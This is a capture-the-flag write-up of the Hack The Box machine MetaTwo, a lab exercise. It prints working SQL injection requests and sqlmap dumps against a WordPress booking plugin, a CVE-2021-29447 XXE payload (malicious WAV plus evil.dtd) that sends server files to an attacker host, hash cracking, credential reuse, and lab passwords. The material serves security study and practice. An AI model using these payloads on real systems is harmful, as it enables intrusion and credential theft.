Contents

🕵️ HTB-Writeup : METATWO

Recon

nmap scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ nmap -T5 -Pn -p- -sV -A 10.10.11.186

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
|   256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_  256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-generator: WordPress 5.6.2
|_http-title: MetaPress – Official company site
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0

Browsing at http://metapress.htb/ we face a webserver build with Wordpress.

drawing

Wordpress recon

Looking at the nmap scan, we find that version v5.6.2 of Wordpress is used.

We found the login page at: http://metapress.htb/wp-login.php.

Looking at the error message when trying credentials, we can validate that the user admin exist.

I managed to run a wpscan scan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ wpscan --rua -e ap,at,tt,cb,dbe,u,m --plugins-detection aggressive --url http://metapress.htb

[...]

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php

[i] Plugin(s) Identified:

[+] bookingpress-appointment-booking
 | Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/
 | Version: 1.0.10 (100% confidence)
 
[+] feed
 | Location: http://metapress.htb/wp-content/plugins/feed/
 | The version could not be determined.
 
[+] leira-roles
 | Location: http://metapress.htb/wp-content/plugins/leira-roles/
 | Version: 1.1.8.0 (100% confidence)

[+] WordPress theme in use: twentytwentyone
 | Version: 1.1

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] manager
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

We identify two users: admin & manager. We find that xmlrpc & wp-cron seems to be enabled.

We find 3 plugins:

  • bookingpress-appointment-booking
  • feed
  • leira-roles

The wordpress theme used is twentytwentyone.

Path to the user

With all those informations, I managed to find some vulnerabilities on the login form, wordpress plugins & theme.

Trying to bypass the login form

First, I tried to bypass the login form using ffuf and the wordlist from Hacktricks for both users (admin & manager).

1
2
3
└─$ ffuf -u http://metapress.htb/wp-login.php -c -w /usr/share/wordlists/auth_bypass.req -X POST -d 'username=adminFUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded'

└─$ ffuf -u http://metapress.htb/wp-login.php -c -w /usr/share/wordlists/auth_bypass.req -X POST -d 'username=managerFUZZ&password=coucou' -H 'Content-Type: application/x-www-form-urlencoded'

But it failed.

Exploiting booking plugins

After some research, I find that the booking plugin as many vulnerabilities, including some SQL injection.

I find this vulnerability on a wpscan page. Let’s try this!

  1. Get the nonce

Create a new appointment and extract the wpnonce. To do so, just capture the request withg BurpSuite.

drawing

As a result, we get the nonce 6f1820f2b5

  1. SQL Injection

With the following request, providing our nonce, we can inject SQL command on parameter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
└─$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' 
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 05 Nov 2022 13:25:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
  1. Results

We get the database & OS version:

  • DB: 10.5.15-MariaDB-0+deb11u1
  • OS: Debian 11

SQL injections works !

Dumping database

  1. Get database name
1
2
3
4
5
6
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --dbs --batch --random-agent -p total_service      

[15:22:36] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema

We find the database blog. Let’s get all tables name from that database.

  1. Get tables of blog
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --batch --random-agent -p total_service -D blog --tables 

[15:24:15] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories           |
| wp_bookingpress_customers            |
| wp_bookingpress_customers_meta       |
| wp_bookingpress_customize_settings   |
| wp_bookingpress_debug_payment_log    |
| wp_bookingpress_default_daysoff      |
| wp_bookingpress_default_workhours    |
| wp_bookingpress_entries              |
| wp_bookingpress_form_fields          |
| wp_bookingpress_notifications        |
| wp_bookingpress_payment_logs         |
| wp_bookingpress_services             |
| wp_bookingpress_servicesmeta         |
| wp_bookingpress_settings             |
| wp_commentmeta                       |
| wp_comments                          |
| wp_links                             |
| wp_options                           |
| wp_postmeta                          |
| wp_posts                             |
| wp_term_relationships                |
| wp_term_taxonomy                     |
| wp_termmeta                          |
| wp_terms                             |
| wp_usermeta                          |
| wp_users                             |
+--------------------------------------+

We get all tables from blog, the wp_users seems interesting :eyes:.

  1. Dump wp_users table data
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --batch --random-agent -p total_service -D blog -T wp_users --dump

Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url             | user_pass                          | user_email            | user_login | user_status | display_name | user_nicename | user_registered     | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1  | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb   | admin      | 0           | admin        | admin         | 2022-06-23 17:58:28 | <blank>             |
| 2  | <blank>              | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager    | 0           | manager      | manager       | 2022-06-23 18:07:55 | <blank>             |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

Retrieve manager account

Using john, we can try retrieve password from hashes.

1
2
3
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash    

partylikearockstar (?)     # manager

We only retrieve the password of the user manager. We can now login in at http://metapress.htb/wp-login.php using manager:partylikearockstar.

We have now access to the Wordpress Dashboard.

drawing

Getting a user shell

First, I saw that we can upload file at http://metapress.htb/wp-admin/media-new.php. So, I tried to upload a reverse shell using multiple extension like PNG, but none of them work.

Again, on the wpscan vulnerabilities page we find an authenticated XXE for Wordpress version 5.6-7.

This exploit allow us to get a reverse shell throught the upload page by putting a payload on a WAV file.

I find a POC on github, let’s try this!

Exploiting CVE-2021-29447

  1. Start a PHP server that will receive datas from the target
  2. Generate the payload and the evil file

The payload is a WAV file that contains attacker @IP & port. It contains also path to an evil file (evil.dtd). This file contains the path to the file to be dumped on the target, dumped file will send base64 encoded with zlib.

1
2
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.16.11:8001/?p=%file;'>" >

Here the file contains path to /etc/passwd file.

  1. Upload the WAV file on the target dashboard

  2. Get and decode data receive on the attacker server

  3. All commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
└─$ git clone https://github.com/motikan2010/CVE-2021-29447.git; cd CVE-2021-29447

# start attacker server
└─$ php -S 0.0.0.0:80001
[Sat Nov  5 16:11:47 2022] PHP 8.1.12 Development Server (http://0.0.0.0:8001) started

# Generate the payload
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.11:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

# Generate the evil.dtd file
└─$ cat evil.dtd      
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.16.11:8001/?p=%file;'>" >

# Upload file on the website

# Get the result from the attacker server and decode it using php
└─$ php -r 'echo zlib_decode(base64_decode("base64_data"));'

As a result, we get all the content of passwd !

1
2
3
4
5
6
root:x:0:0:root:/root:/bin/bash
[...]
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

Getting credentials

First, I tried to get the SSH private key of the user jnelson at /home/jnelson/.ssh/id_rsa but the file does not exist.

Then, I managed to get the nginx config file to try to find some informations about the Wordpress website. I tried to get the config of the default website set in nginx. The file is located at /etc/nginx/sites-enabled/default.

Sending again our WAV payload we get the content of the config file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ php decryption.php
server {

	listen 80;
	listen [::]:80;

	root /var/www/metapress.htb/blog;

	index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

	location / {
		try_files $uri $uri/ /index.php?$args;
	}
    
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
	}

	location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
		expires max;
		log_not_found off;
	}

}

We get the root path of the metapress.htb website. We can now try to get the wp-config.php file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ php decryption.php

/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );


define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

We found credentials of the MySQL database and of the FTP server.

Connecting into the FTP using metapress.htb:9NYS_ii@FyL_p5M2NvJ we find the content of the metapress blog and one directory mailer that contains the following send_email.php php file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
└─$ cat send_email.php 

[...]
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

Table of credentials that we own

Service Username Password
MySQL (blog db) blog 635Aq@TdqrCwXFUZ
FTP metapress.htb 9NYS_ii@FyL_p5M2NvJ
MAIL jnelson@metapress.htb Cb4_JmWM8zUZWMu@Ys

Trying password-reuse

I tried to use those password to connect into the SSH server and the Mail password actually works!

1
2
3
4
5
└─$ ssh jnelson@10.10.11.186              
jnelson@10.10.11.186's password: Cb4_JmWM8zUZWMu@Ys

jnelson@meta2:~$ cat user.txt 
**************************2cbf4c

We can get the user flag :)

Path to the privesc

Local recon

Checking the user’s home, we find an uncommon directory .passpie.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
jnelson@meta2:~/.passpie$ ls -alih
total 24K
 9507 dr-xr-x--- 3 jnelson jnelson 4.0K Oct 25 12:52 .
 4308 drwxr-xr-x 4 jnelson jnelson 4.0K Oct 25 12:53 ..
26561 -r-xr-x--- 1 jnelson jnelson    3 Jun 26 13:57 .config
27582 -r-xr-x--- 1 jnelson jnelson 5.2K Jun 26 13:58 .keys
 5128 dr-xr-x--- 2 jnelson jnelson 4.0K Oct 25 12:52 ssh
jnelson@meta2:~/.passpie$ ls -alih ssh
total 16K
5128 dr-xr-x--- 2 jnelson jnelson 4.0K Oct 25 12:52 .
9507 dr-xr-x--- 3 jnelson jnelson 4.0K Oct 25 12:52 ..
5146 -r-xr-x--- 1 jnelson jnelson  683 Oct 25 12:52 jnelson.pass
5145 -r-xr-x--- 1 jnelson jnelson  673 Oct 25 12:52 root.pass

We find two PGP encrypted message jnelson.pass & root.pass at /home/jnelson/.passpie. And the public & private PGP key at /home/jnelson/.passpie/.keys.

Attacking PGP message

I managed to bruteforce the private key using john to get the passphrase.

1
2
3
4
5
6
# create the hash using gpg2john
└─$ gpg2john priv > hash

# bruteforce passphrase
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash    
blink182         (Passpie)     

It works! We get the passphrase of jnelson.

Then, if we decrypt the jnelson.pass file using the private key and the passphrase we retrieve the SSH password Cb4_JmWM8zUZWMu@Ys of jnelson that we already have.

Using the same method we can decrypt the root.pass file. We get the pass p7qfAZt4_A1xo_0x. Using the su command, we can connect into the root user using the retrieved password.

1
2
3
4
5
jnelson@meta2:~/.passpie$ su
Password: p7qfAZt4_A1xo_0x

root@meta2:~# cat /root/root.txt 
61877305e869dbd050344da9bc71e64a

We can get the root flag :)